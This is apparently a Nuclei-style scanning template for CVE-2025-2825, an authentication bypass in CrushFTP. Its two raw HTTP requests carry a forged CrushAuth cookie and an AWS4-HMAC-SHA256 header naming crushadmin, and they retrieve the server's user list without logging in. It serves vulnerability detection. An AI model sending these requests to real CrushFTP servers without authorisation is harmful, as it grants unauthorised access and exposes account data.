id: CVE-2025-2825

info:
  name: "Crushftp - Authentication Bypass"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    CrushFTP versions 10.0.0 through 10.8.3 and 11.0.0 through 11.3.0 are affected by a vulnerability that may result in unauthenticated access. Remote and unauthenticated HTTP requests to CrushFTP may allow attackers to gain unauthorized access.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2025-2825&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=crushftp&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-2825
    cwe-id: CWE-287
  metadata:
    verified: false
  tags: cve,cve2025,crushftp,unauth,auth-bypass,rce
variables:
  string_1: "{{rand_text_numeric(13)}}"
  string_2: "{{rand_text_alpha(28)}}"
  string_3: "{{rand_text_numeric(4)}}"

http:
  - raw:
      - |
        GET /WebInterface/function/?command=getUserList&serverGroup=MainUsers&c2f={{string_3}} HTTP/1.1
        Cookie: CrushAuth={{string_1}}_{{string_2}}{{string_3}}; currentAuth={{string_3}}
        Host: {{Hostname}}
        Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/

      - |
        GET /WebInterface/function/?command=getUserList&serverGroup=MainUsers&c2f={{string_3}} HTTP/1.1
        Cookie: CrushAuth={{string_1}}_{{string_2}}{{string_3}}; currentAuth={{string_3}}
        Host: {{Hostname}}
        Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<user_list_subitem>crushadmin</user_list_subitem>"

      - type: word
        part: content_type
        words:
          - "text/xml"

      - type: status
        status:
          - 200